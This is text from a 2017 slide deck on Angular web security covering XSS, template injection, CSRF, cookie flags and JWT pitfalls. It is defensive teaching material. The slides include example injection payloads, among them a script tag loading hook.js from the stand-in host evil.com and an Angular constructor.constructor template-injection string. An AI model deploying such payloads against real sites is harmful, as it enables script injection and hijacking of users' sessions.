@PhilippeDeRyck SECURE YOUR C ODE Philippe De Ryck Masterclass ScaleUp Porto, May 2017 https://www.websec.be
@PhilippeDeRyck
SECURE YOUR CODEPhilippeDeRyckMasterclassScaleUp Porto,May2017
https://www.websec.be
@PhilippeDeRyck
ANGULAR APPLICATIONS RUN WITHIN THE BROWSER
JScode
HTMLcode
Data
Loadapplication
JScode/HTMLcode
JScode
HTMLcode
JSApplicationHTMLTemplate
FetchdatafromAPI
Rawdata
2
@PhilippeDeRyck
ABOUT ME – PHILIPPE DE RYCK
§Mygoalistohelpyoubuildsecurewebapplications−Hostedandcustomizedin-housetraining− Specializedsecurityassessmentsofcriticalsystems− Threatlandscapeanalysisandprioritizationofsecurityefforts−Moreinformationandresourcesonhttps://www.websec.be
§ Ihaveabroadsecurityexpertise,withafocusonWebSecurity−PhDinclient-sidewebsecurity−MainauthorofthePrimeronclient-sidewebsecurity
§ PartoftheorganizingcommitteeofSecAppDev.org−Week-longcoursefocusedonsecurityfordevelopers
3
@PhilippeDeRyck
CROSS-SITE SCRIPTING (XSS)
4
@PhilippeDeRyck
XSSREFRESHER
https://websec.be/?username=Philippe
<p>Welcome <b><?php echo $username ?></b></p>
<p>Welcome <b>Philippe</b></p>
https://websec.be/?username=<blink>dude</blink>
https://websec.be/?username=pwned<script src=“//evil.com/hook.js”></script>
<p>Welcome <b><blink>dude</blink></b></p>
<p>Welcome <b>pwned<script src=“//evil.com/hook.js”></script></b></p>
WelcomePhilippe
Welcome ng-be
Welcomepwned
dude
@PhilippeDeRyck
SERVER-SIDE DEFENSES AGAINST XSS
<p>Welcome <b><?php echo htmlentities($username) ?></b>
</p>
<p>Welcome <b><?php echo $username ?></b>
</p>
<script>var username = “<?php echo $username ?>”;
</script><p class=“<?php echo $status ?>”>
Welcome <b style=“color: <?php echo $color?>”><?php echo $username ?></b></p>
<p>Welcome <b><blink>dude</blink></b>
</p>
@PhilippeDeRyck
ANGULAR MAKES IT A LOT LESS PAINFUL
<p>Welcome <b>{{username}}</b></p>
https://websec.be/?username=<blink>dude</blink>
<p>Welcome <b><blink>dude</blink></b></p> Welcome<blink>dude</blink>
https://websec.be/?username=<script>alert(‘no!’)</script>
<p>Welcome <b><bscript>alert(’no!’)</script></b></p>
Welcome<script>alert(‘no!’)</script>
@PhilippeDeRyck
EVEN WHEN YOU ACTUALLY NEED SANITIZATION
<p>Welcome <b [innerHTML]=“htmlSnippet”></b></p>
htmlSnippet=“<blink>dude</blink>”
<p>Welcome <b><blink>dude</blink></b></p>
htmlSnippet=pwned<script src=“//evil.com/hook.js”></script>
<p>Welcome <b>pwned</b></p> Welcomepwned
Welcome ng-bedude
@PhilippeDeRyck
RESPECT THE AUTHORITY OF THE SANITIZER
§ SanitizationisenabledbydefaultwhenyoubindHTMLintotheDOM− Themajorityofyouwillnotevennoticethesanitizeratwork,whichisgreat!−MakesureyoudothisviaAngular,notbydirectlycallingtheDOMAPI
§ Thereisawaytobypasssanitization,butitshouldbeusedwithcare−Onlyintendedtomarkstaticsnippetsofcodeassafe,hencethename
TrustHtml()TrustScript()TrustStyle()TrustUrl()TrustResourceUrl()
bypassSecuritybypassSecuritybypassSecuritybypassSecuritybypassSecurity
@PhilippeDeRyck
TAKEAWAY #1
ANGULAR ALREADY PROTECTS YOU AGAINST XSS,JUST GET OUT OF THE WAY
§ Angulardoesaprettygoodjobprotectionyoufrominjectionattacks− SimpledatabindingsareautomaticallyescapedbyAngular−Databindingsthatcanresultincodeinjectionareautomaticallysanitized
§ Yourjobistostayoutoftheway,andletAngulardoitsjob−Donotinjectuntrustedcodeintoserver-sidetemplates−DonotdirectlyuseDOMAPIstobindthisdata,butusebuilt-inmechanisms−Onlyusethisforstaticdata,whichhasbeenverifiedtobesecure
§ Complementarytothis,youcandeployContentSecurityPolicy−Allowsyoutolockdownthepoweroftheattacker,incaseanattackhappens
@PhilippeDeRyck
TRICKING ANGULAR INTO MISBEHAVING
<script src=“…/angular.js”></script><p>Welcome <b><?php echo htmlentities($username) ?></b></p>
https://websec.be/?username=Philippe{{constructor.constructor(‘alert(1)’)}}
<p>Welcome <b>Philippe{{constructor.constructor(‘alert(1)’)}} </b></p>
WelcomePhilippe
@PhilippeDeRyck
TRICKING ANGULAR INTO MISBEHAVING
https://websec.be/orderBy.html#field=name
https://blogs.synopsys.com/software-integrity/2016/12/28/angularjs-1-6-0-sandbox/
https://websec.be/orderBy.html#field={{constructor.constructor(‘alert(…)’)}}
@PhilippeDeRyck
VARIOUS WAYS TO CONTROL TEMPLATES IN ANGULAR 1
https://docs.angularjs.org/guide/security
@PhilippeDeRyck
THERE’S NO SAFE WAY TO DO THIS WITH ANGULAR 1…
http://angularjs.blogspot.be/2016/09/angular-16-expression-sandbox-removal.html
@PhilippeDeRyck
BUT ANGULAR 2OFFERS AHEAD-OF-TIME COMPILATION
§ Theofflinecompilerturnstheapplicationintoexecutablecode− Thecompilerisnotevenavailableanymoreinthebrowser−Databindingsarealreadyresolved,andencodedintotheJSbundle
§ AOTcompilationeffectivelystopstemplateinjectionattacks−Atthemomentofinjection,theapplicationisalreadycompiled− Theinjectedtemplatecodewillsimplyberendered,notexecuted
var currVal_6 = __WEBPACK_IMPORTED_MODULE_2__angular_core_src_linker_view_utils__["inlineInterpolate"](1, '\n ', this.context.MyAOTBinding, '\n');
@PhilippeDeRyck
TAKEAWAY #2
NEVER PASS UNTRUSTED DATA TO THE COMPILER
§ CombiningAngularwithothertechnologiescanresultintemplateinjection−Dynamicallygeneratedserver-sidepages(PHP,JSP,…)−Client-sidelibrariesthatrunbeforeAngulardoes(Jquery,...)
§ ThisisactuallyabigprobleminAngular1.xapplications− Theexpressionsandboxtriedtofixthis,butitturnedouttobetoohardtogetright−Neverfeeduntrusteddatatothecompiler
§ Angular2’sAOTallowsyoutocompileyourtemplatesdirectlyintotheJSfiles−Removesclient-sideprocessingoftemplates,thusremovesinjectionattacks−Additionalincentive:AOTgivesyouamassiveperformanceimprovement
@PhilippeDeRyck
“COOKIES VS TOKENS”
17
https://www.quora.com/How-can-I-use-session-management-if-I-am-using-AngularJS-in-client-side-and-web-API-to-supply-data-to-it-What-is-the-architecture-to-build-a-complete-application-when-I-am-using-the-new-client-side-frameworks-to-build-a-web-app
@PhilippeDeRyck
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Injection
BrokenAuthenticationandSessionManagement
Cross-SiteScripting(XSS)
InsecureDirectObjectReferences
SecurityMisconfiguration
SensitiveDataExposure
MissingFunctionLevelAccessControl
Cross-SiteRequestForgery
UsingComponentswithKnownVulnerabilities
Unvalidated RedirectsandForwards
1
2
3
4
5
6
7
8
9
10
Injection
BrokenAuthenticationandSessionManagement
Cross-SiteScripting(XSS)
BrokenAccessControl
SecurityMisconfiguration
SensitiveDataExposure
InsufficientAttackProtection
Cross-SiteRequestForgery
UsingComponentswithKnownVulnerabilities
Underprotected APIs
1
2
3
4
5
6
7
8
9
10
@PhilippeDeRyck
SESSION MANAGEMENT IN THREE PROPERTIES
§ Transportmechanism−Howisthesessiondatabeingsentbetweentheclientandserver?− TwocommonapproachesherearecookiesandtheAuthorization header
§ Locality− Isthesessiondatabeingstoredontheserverorontheclient?− ThelatterismorecommoninAngularapplications,butmoretrickythanitseems
§ Representation− Inwhichformatisthesessiondatathatistransmittedrepresented?− Thisusedtobeasessionidentifier,buttoday,wehaveJWTandcustomformats
@PhilippeDeRyck
@PhilippeDeRyck
COOKIE FLAGS PATCH COOKIE BEHAVIOR
§ ThebehaviorofcookiesisincompatiblewiththeSameOriginPolicy− Cookiesareassociatedwithahost,notanentireorigin− Cookiescanbesetforanentiredomain− CookiescanbeaccessedfromJavaScript
§ Thisbehaviorcanbeslightlypatchedwithcookieflags− CookiescanbemarkedasSecure,sothattheywillonlybeusedonHTTPSconnections− CookiescanbemarkedashttpOnly,sothattheywillnotbeaccessiblefromJavaScript
§ Thesediscrepanciesallowtargetedattacksagainstspecificcookies− OverwritingofsecureorhttpOnly cookies− Cookiejaroverflowattackstopushoutcookiesfromthestore− …
Set-Cookie: SSID=1234; Secure; HttpOnlyCookie: SSID=1234
21
@PhilippeDeRyck
COOKIE PREFIXES TAKE IT A STEP FURTHER
§ Therecentlyproposedcookie-prefixspectriestorestrictcookiebehavior− Cookienamescanbeprefixedwithanattribute,enforcingstrictbehavior
§ The__Secure- prefixrestrictsacookietosecureconnectionsonly− Itcannotbesetoveraninsecureconnection− ItcannotbesetiftheSecure flagismissing
§ The__Host- prefixrestrictsacookietoaspecifichost− Itwillonlybesenttoahost,nevertoadomain− Itmustbesetfortherootpath(/)andwiththesamepropertiesasthe__Secure- prefix
§ Enforcementdependsonbrowserbehavior− Currentlysupportedinallmodernbrowsers(Chrome,Firefox,Opera,Edge,Safari)
22
https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00#section-3.2
@PhilippeDeRyck
THE UNDERESTIMATED THREAT OF CSRF
websec.be
anysite.io
loginasPhilippeWelcomepage
Showmessages
Latestmessages
Showobligatorycatpics
Kittensfromhell
23
@PhilippeDeRyck
THE ESSENCE OF CSRF
§ CSRFexistsbecausethebrowserhandlescookiesveryliberally− Theyareautomaticallyattachedtoanyoutgoingrequest−Bydefault,there’snomechanismtoindicatetheintentofarequest
§Manyapplicationsareunawarethatanycontextcansendrequests− Thesessioncookieswillbeattachedautomaticallybythebrowser−DefendingagainstCSRFrequiresexplicitactionbythedeveloper
§ Becauseofitssubtlenature,CSRFisacommonvulnerability− IllustratedbycasesatGoogle,Facebook,eBay,…−Ranked#8onOWASPtop10(2013)
24
@PhilippeDeRyck
TAKING CONTROL OF YOUR HOME NETWORK WITH CSRF
http://arstechnica.com/security/2014/03/hackers-hijack-300000-plus-wireless-routers-make-malicious-changes/https://threatpost.com/pharming-attack-targets-home-router-dns-settings/111326
25
@PhilippeDeRyck
TRADITIONAL CSRFDEFENSE WITH HIDDEN FORM TOKENSwebsec.be
anysite.io
loginasPhilippeWelcomepage
Postmessage
Surething,Philippe
Showobligatorycatpics
Kittensfromhell
<input type=“hidden” name=“csrftoken” value”1234abc” />
26
@PhilippeDeRyck
DEFENDING AGAINST CSRFATTACKS
§ CSRFexistsbecausetheserverdoesnotrealizerequestscanbeunintentional−HTMLelementsonanypagecantriggeraseeminglylegitimaterequest−Defensesarelikelytobeabsent,unlessyouexplicitlyknowaboutthisproblem−Onlyveryfewframeworksofferout-of-the-boxprotectionagainstCSRF
§ Commondefensestrategyistouseahiddentoken− Thetokenisembeddedintheformbytheserver,andsubmittedasahiddenfield−OthercontextswillnotbeabletoaccessthetokenbecauseoftheSOP
§HiddenformtokensarenotveryAngular-esque−HowdoyouevendealwithhiddentokensinaJSONAPI?
27
@PhilippeDeRyck
TRANSPARENT TOKENS AGAINST CSRFATTACKSwebsec.be
anysite.io
loginasPhilippeWelcome,Philippe
Postmessage
Surething,Philippe
Showobligatorycatpics
Kittensfromhell
POST …Cookie: SID=123, XSRF-TOKEN=abcX-XSRF-TOKEN: abc
CookievalueiscopiedtoaheaderbyJavaScriptcode
28
@PhilippeDeRyck
ANGULARJSSUPPORTS TRANSPARENT TOKENS BY DEFAULT
29
https://docs.angularjs.org/api/ng/service/$httphttps://angular.io/docs/ts/latest/guide/security.html
@PhilippeDeRyck
ALTERNATIVE CSRFDEFENSE:SAMESITE COOKIESwebsec.be
anysite.io
loginasPhilippeWelcomepage
Postmessage
Surething,Philippe
Showobligatorycatpics
Kittensfromhell
Set-Cookie: SSID=1234; SameSite=Strict
https://tools.ietf.org/html/draft-west-first-party-cookies-07
30
@PhilippeDeRyck
THE SAMESITE COOKIE ATTRIBUTE
§ TheSameSite attributeactuallysupportsastrict andlaxmode− Instrictmode,thebrowserwillneverattachthecookietoacross-siterequest
• Thisisdeterminedbasedontheregistereddomain,nottheorigin
− Inlaxmode,thecookiewillbepresentonsafetop-levelnavigations• e.g.aGETrequestthatresultsinanavigationofthecontext
§ ThedefaultsettingfortheSameSite attributeisstrictmode− ThisisthemodeyougetwhenyousimplyaddSameSite tothecookie− ThiswillstopallCSRFattacks
§ AddingtheSameSite attributeinlaxmodewillstopmostCSRFattacks−UnlesstheattackcanbelaunchedwithaGETrequest
31
@PhilippeDeRyck
BROWSER SUPPORT FOR SAMESITE COOKIES
http://caniuse.com/#search=samesite
32
@PhilippeDeRyck
CSRFIN AN APIWORLD
§HTTPrequestsgeneratedfromHTMLelementsareveryconstrained− Theycannotgeneraterequestswitharbitrarycontenttypes− Theycannotsetcustomrequestheaders
§ TraditionalCSRFisnotaproblemforAPIsthatrejectsuchHTTPrequests−HTMLelementscannotgeneratevalidHTTPrequeststoyourbackend−XHRgivesyoumorefreedom,butthenCross-OriginResourceSharingcomesintoplay
§ TheCORSspecisdesignedtopreventadditionalCSRFattackvectors−XHRrequeststhatmimicthepossibilitiesfromHTMLelementscantriggerCSRF
• ButyourAPIrejectsthemanyway−MorecomplexXHRrequestsrequireapprovalbytheserverfirst
• IfyouenableCORS,thenyoucanchecktheOriginheadertoseewheretherequestcomesfrom
33
@PhilippeDeRyck
WHEN CORSCOMES INTO PLAY,CHECK THE ORIGIN HEADER
websec.be
anysite.io
Postmessage
Surething,Philippe
Showobligatorycatpics
Kittensfromhell
Origin: https://websec.be
34
@PhilippeDeRyck
THE AUTHORIZATION HEADER AS AN ALTERNATIVE TO COOKIES
35
@PhilippeDeRyck
THE RESURRECTION OF THE AUTHORIZATION HEADER
§ TheAuthorizationheaderhasbecomepopularagaininthelastfewyears−OftenusedtosendaccesstokensinanOAuth2.0flow− It’saheader,soyoucaneasilyuseittostoretransmitsessiondataaswell− Theheaderiswellknown,sounlikelytobestrippedbyproxiesandmiddleboxes
§ Thebrowserdoesnothandletheheaderautomatically− TheapplicationwillneedtodoitsownsessionmanagementfromJavaScript− Thesessiondatawillhavetobestoredbytheapplicationaswell−Well-supportedbynumerousframeworksandlibraries
Authorization: Bearer eyJ2aWV3cyI6MTR9
36
@PhilippeDeRyck
ADDING THE AUTHORIZATION HEADER IN ANGULARJS
https://www.toptal.com/web/cookie-free-authentication-with-json-web-tokens-an-example-in-laravel-and-angularjs
Carefulwhereyousendyoursessioninformationto!
@PhilippeDeRyck
STORING SESSION DATA IN THE BROWSER
38
In-memory
Doesnotsurviveapagereload
Canbeshieldedfrommaliciouscode
Survivesapagereload
Canbesomewhat shieldedfrommaliciouscode
Survivesapagereload
Cannotbeshieldedfrommaliciouscode
Availabletorunningcodeonly
Availabletotheentiretab Availabletotheentireorigin
SessionStorage LocalStorage
@PhilippeDeRyck
THE AUTHORIZATION HEADER VS COOKIES
39
Cookies Authorizationheader
IsalmostalwaysanenablerofCSRF EnablingCSRFwiththeAuthorizationheaderrequiresseriousprogrammingerrors
CanbehiddenfrommaliciousJavaScript AvailabilitytoJavaScriptdependsonthestoragemechanism
Cancontainanykindofdata Cancontainanykindofdata
Isattachedautomatically,toallrequests Isnotpresentonbrowser-generatedrequests
Arealwaysassociatedwithonedomain Isunderyourcontrol,andcanbeattachedtoanyrequest
@PhilippeDeRyck
TAKEAWAY #3
THE TRANSPORT MECHANISM FOR SESSION DATA HAS A BIG IMPACT
§ Thequestion“cookiesvstokens”doesnotreallymakesense−Cookiescombinetransportwithstorage,butcancontainanykindofdata− Tokenscanbejustaboutanything−Bothmechanismssupportserver-sideandclient-sidesessionmanagement
§ Cookiesarewell-supportedbybrowsers,buthavetheirquirks− Enabletheappropriateflagsandprefixestopatchbrowserbehavior−BeawareofCSRFattacksagainstyourbackend
• ThisdoesnotapplyifyouhaveaCORS-protectedAPI
§ Client-sidesessionswithtokensareoftenconsideredmandatoryinAngular−Movingtowardstokensrequirescustomsessionmanagement,whichishard− Incompatiblewithmanyscenariosontheweb(CORS,DOM-basedrequests,…)
@PhilippeDeRyck 41http://jwt.io/
@PhilippeDeRyck
AJWTIS A BASE64-ENCODED DATA OBJECT
{"alg": "HS256","typ": "JWT"
}
{"iss": ”distrinet.cs
.kuleuven.be","exp": 1425078000000,"name": "philippe","admin": true
}
HMACSHA256(base64UrlEncode(header)+ "." +base64UrlEncode(payload),“secret”
)
Header Payload Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkaXN0cmluZXQuY3Mua3VsZXV2ZW4uYmUiLCJleHAiOjI0MjUwNzgwMDAwMDAsIm5hbWUiOiJwaGlsaXBwZSIsImFkbWluIjp0c
nVlfQ.dIi1OguZ7K3ADFnPOsmX2nEpF2Asq89g7GTuyQuN3so
42
@PhilippeDeRyck
USING JWTS IN PRACTICE
§ JWTtokensareawaytorepresentclaimsbetweenparties−Commonuseistorepresentsessiondataandstoreitontheclient− Inthedefaultscenario,JWTsaresignedusinganHMACwithaserver-sidesecret− Thesignaturecanbeusedtoensuretheintegrityofthetokenonthenextrequest
§GeneratingandverifyingJWTtokensisabackendresponsibility− Thesignatureisbasedontheclaimsinthetoken− Intheory,theclientcoulddecodetheJWTandextractinformationabouttheclaims− Inpractice,itiscleanertoprovidethisinformationseparately
§ Client-sideapplicationneedstoensurethattheJWTispresentonrequests− Thiscanbeinacookie,orintheAuthorization header
43
@PhilippeDeRyck
THERE IS A LOT MORE TO A JWTTOKEN
§ JWTisanopenstandardtoexchangeinformation− PartofaJSON-basedIdentityProtocolSuite− UsedbyOpenIDConnect,ontopofOAuth2.0
§ SignaturesareessentialtoensuretheintegrityofJWTtokens− ThespecactuallyallowsJWTtokenswithoutwithoutsignatures,butthisisactivelydiscouraged−Mostcommonaresignatureswithonesharedkey,forusewithinoneapplication− Alternatively,theJWTissignedwithaprivatekey,andcanbeverifiedwithapublickey
§ Otherspecificationscoveradditionalcryptographicsupport− JSONWebSignatures(JWS)− JSONWebEncryption(JWE)− JSONWebKey(JWK)
44
@PhilippeDeRyck
JWTSIGNATURES WITHIN ONE APPLICATION
45
JWT
JWT
sharedkey
@PhilippeDeRyck
JWTSIGNATURES ACROSS APPLICATIONS
46
JWT
JWT
privatekey
publickey
@PhilippeDeRyck
JWTS ARE YOUNG,AND SUFFER FROM GROWING PAINS
§ Integrityandconfidentialityrequirestheuseofcrypto−Cryptoishard,andJWTlibrarieshavehadsomeimplementationissues
§ Amajorpartoftheproblemisthattheattackercancontroltheheader− Theheadercontainsinformationaboutthealgorithmsthatareused− Soitneedstobetrustedbeforetheintegrityofthetokencanbeverified
§ Practicalattacksthathavebeendiscoveredinthepast−Generatingarbitrarytokensusingthe“none”algorithm−GeneratingarbitrarytokensbyconfusingtheserverbetweenHMACandpublickeys− Extractingtheencryptionkeybymanipulatingellipticcurveparameters
47
https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/http://blogs.adobe.com/security/2017/03/critical-vulnerability-uncovered-in-json-encryption.html
@PhilippeDeRyck
TAKEAWAY #4
JWTS ARE WELL SUPPORTED,BUT REQUIRE CONSTANT SUPERVISION
§ JWTshavebecomeapopularwaytorepresentclaims−HeavilyusedinOpenIDConnecttoexchangeidentityinformation−OftenrecommendedasthepreferredwaytodosessionmanagementinAngular
§ AvoidthesecommonmistakeswhenusingJWTtokensinyourapplication−Verifytheintegrityofthetokeninthebackendbeforeusinganyofitsdata−Usetherightsigningmechanism(HMACvspublicsignatures)−Avoidclient-sidedependenciesonthecontentsofthetoken
§Unfortunately,JWTsseemtoberepeatinghistory−Alotofmistakesaremade,verysimilartotheearlydaysofXML−Makesureyouusecommonlibraries,andaggressivelykeepthemuptodate
@PhilippeDeRyck 49
TAKEAWAY #4
JWTS ARE WELL SUPPORTED,BUT REQUIRE CONSTANT SUPERVISION
TAKEAWAY #3
THE TRANSPORT MECHANISM FOR SESSION DATA HAS A BIG IMPACT
TAKEAWAY #1
ANGULAR ALREADY PROTECTS YOU AGAINST XSS,JUST GET OUT OF THE WAY
TAKEAWAY #2
NEVER PASS UNTRUSTED DATA TO THE COMPILER
@PhilippeDeRyck
NOW IT’S UP TO YOU …
Secure ShareFollow
https://www.websec.be [email protected] /in/philippederyck